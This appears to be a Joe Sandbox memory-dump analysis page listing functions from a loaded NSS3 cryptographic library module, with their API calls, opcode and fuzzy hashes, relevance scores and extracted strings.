Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b18c0aaee844213b135b66f05c66119e67e4752e87de917637ca09b255361464
Instruction ID: 8faa9cb80757a6588d120d72cf8d0f8aad62ce18baee27100126d492407263a5
Opcode Fuzzy Hash: b18c0aaee844213b135b66f05c66119e67e4752e87de917637ca09b255361464
Instruction Fuzzy Hash: 2811D675A00214AFDB109F24DC48A9637B8EF0A369F154470FD088B712E730ED54CBE5

Function 6C67ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C67F0AD,6C67F150,?,6C67F150,?,?,?), ref: 6C67ECBA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C67ECD1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C67ED02

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C67ED5A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: ad77e5b24b5276f73cbe428a43698ed619f8262246017e69cbd8050d653d60db
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 782104B19017425FE300CF21DA04B92B7E4BFA5348F25C215E81C87661FB70E594C6E8

Function 6C6AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE14

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(?,?,6C699767,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE33

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction ID: 9f8d7ba555b44ad07a81ba9d3129205ea3a430945f42099631293bb36d9dabc7
Opcode Fuzzy Hash: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction Fuzzy Hash: 0D11A7B1A01716ABDB109EA5DC84B46B3A8FB1435DF104535E91982A40E331E87687E9

Function 6C62DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_NewCertList.NSS3 ref: 6C62DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C62DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62E029

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 60fd92414a0afbcb06d4d5688ca191ee1eda040d9ffa4a1e19e303d5b1ffbb33
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 4D110C71A042056BDB105EB95C44FEBF668EF8535DF040534E9189BB40E73EC8269EED

Function 6C648DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C648DE7
EnterCriticalSection.KERNEL32 ref: 6C648DFC
PR_Unlock.NSS3 ref: 6C648E2D
PR_SetError.NSS3 ref: 6C648E49

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction ID: 038cb61ede15d283457a90df56a4137aa13e45ea50db2364585460fcdd6af53e
Opcode Fuzzy Hash: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction Fuzzy Hash: A4118F716056149BD700AF78C4486AABBF4FF0A354F018969DC88D7B10E730E854CBD6

Function 6C6CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACDB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction ID: d61f2e088d692caef3c35477a34d6296fee917b2cea5bc5a7cd5c02b315a21ed
Opcode Fuzzy Hash: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction Fuzzy Hash: 71014CB5B01B159BEB50DF2AD908753B7E8FF0479AB104839D85AC3E01E731E454CB96

Function 6C631DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C631DFB

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PR_EnterMonitor.NSS3 ref: 6C631E09

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C62E190: PR_EnterMonitor.NSS3(?,?,6C62E175), ref: 6C62E19C
Part of subcall function 6C62E190: PR_EnterMonitor.NSS3(6C62E175), ref: 6C62E1AA
Part of subcall function 6C62E190: PR_ExitMonitor.NSS3 ref: 6C62E208
Part of subcall function 6C62E190: PL_HashTableRemove.NSS3(?), ref: 6C62E219
Part of subcall function 6C62E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62E231
Part of subcall function 6C62E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62E249
Part of subcall function 6C62E190: PR_ExitMonitor.NSS3 ref: 6C62E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631E37
PR_ExitMonitor.NSS3 ref: 6C631E4A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 6cb9a7e085d82c043d359ad0356c9db17450020ce55fc2d646cc9d92987ee4e3
Instruction ID: 09bc20505416d6a196d1c339925d6f4f3a94c64ac00ad2ba6b6d1cca5a2cf6f5
Opcode Fuzzy Hash: 6cb9a7e085d82c043d359ad0356c9db17450020ce55fc2d646cc9d92987ee4e3
Instruction Fuzzy Hash: 8E018471B0616197EB005B25EC04F867764AB4674CF202035D51D97BD1E732E816CB9D

Function 6C631D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C631D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C631D9C
free.MOZGLUE(00000000), ref: 6C631DB8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: b6d9f735265d89e4e9082e3e2f9960fe13a8b3509c44f7021722720ce75d3b4c
Instruction ID: a442e24122731ca9d027788c59cba165de5029cc45189016fd6b32883f24103a
Opcode Fuzzy Hash: b6d9f735265d89e4e9082e3e2f9960fe13a8b3509c44f7021722720ce75d3b4c
Instruction Fuzzy Hash: C4F049B2A0633057FF111E596C41B8732C8EB83B88F113235DD0D47B40E620E40082EE

Function 6C67FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4
free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 7042e3d525d76f52db9747cf0a17fa246ce63bcf81c6310117ceeb1af0007e87
Instruction ID: 22a06404f673049f775e60d5f377c0d80826e0aea2277aa8c01f3146dba0ee16
Opcode Fuzzy Hash: 7042e3d525d76f52db9747cf0a17fa246ce63bcf81c6310117ceeb1af0007e87
Instruction Fuzzy Hash: 6FF04CF16022065BEF104F54DD80C277798EF45399B208035ED0C8BB02E721D814C7FA

Function 6C73CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C73CC61
free.MOZGLUE ref: 6C73CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C73CC80
free.MOZGLUE(?), ref: 6C73CC87

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction ID: f5340395409b318c6b2f4369c0cc5d2700de1a76122ee87e0ce79da5bae60afa
Opcode Fuzzy Hash: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction Fuzzy Hash: 73E030767006189BCA10EFA8DC4488677ACEE4D2713150575F691C3710D231F905CBE1

Function 6C619DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C619E1F

Part of subcall function 6C5D13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D1413
Part of subcall function 6C5D13C0: memcpy.VCRUNTIME140(00000000,R#Zl,00000002,?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C619F78
LIKE or GLOB pattern too complex, xrefs: 6C61A006

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 3bbbe134b6fb10f932a68167d2db346b3de4a691d7cf5781af597f148b4ad2d4
Instruction ID: ce79e9e901107bf7af3bfa5d8fef4fa44ca108ca938025c11a074a2d2143d7db
Opcode Fuzzy Hash: 3bbbe134b6fb10f932a68167d2db346b3de4a691d7cf5781af597f148b4ad2d4
Instruction Fuzzy Hash: F381E675A082558FD704CF2DC0803AAB7B2AF8531EF28C659D8A98BF91D732D846C794

Function 6C674D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C674D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C674DE6

Strings

%d.%d, xrefs: 6C674DDE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction ID: f91f136ed08b725fd28f5437b279b2e3c91e4adf3a8848e5efb4bf76a02fe16b
Opcode Fuzzy Hash: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction Fuzzy Hash: E9312CB2E042186BEB209B609C05BFF77B8DF45308F150829ED559B781EB709915CBBA

Function 6C694CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8il,00000000,00000000,?,?,6C693827,?,00000000), ref: 6C694D0A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C694D22

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

Strings

'8il, xrefs: 6C694D07

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8il
API String ID: 1521942269-3336700206
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0ab6f495050e3a0d4f65effadb7754ec18e01454b4af55d694622a161a524295
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 60F0687660112667EB104E6A9C80B6336DC9B417BDF140371DD38CB7E1E6A1CC0986E5

Function 6C6BAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6BAF78

Part of subcall function 6C61ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
Part of subcall function 6C61ACC0: malloc.MOZGLUE(00000001), ref: 6C61ACEC
Part of subcall function 6C61ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
Part of subcall function 6C61ACC0: TlsGetValue.KERNEL32 ref: 6C61AD3C
Part of subcall function 6C61ACC0: calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61ADC0
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61AE8C
Part of subcall function 6C61ACC0: free.MOZGLUE(?), ref: 6C61AEAB

memcpy.VCRUNTIME140(6C783084,6C7802AC,00000090), ref: 6C6BAF94

Strings

SSL, xrefs: 6C6BAF73

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction ID: 12891fa73c073c04cb4e06d975833e70c916b6df39a6201a7c39c3d5c1722479
Opcode Fuzzy Hash: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction Fuzzy Hash: 552152B2217A48AEDA00DF59D987312BA72F7433547305138C7196FB29D7314125AFD9

Function 6C610F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B

Part of subcall function 6C611370: GetSystemInfo.KERNEL32(?,?,?,?,6C610936,?,6C610F20,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000), ref: 6C61138F

PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

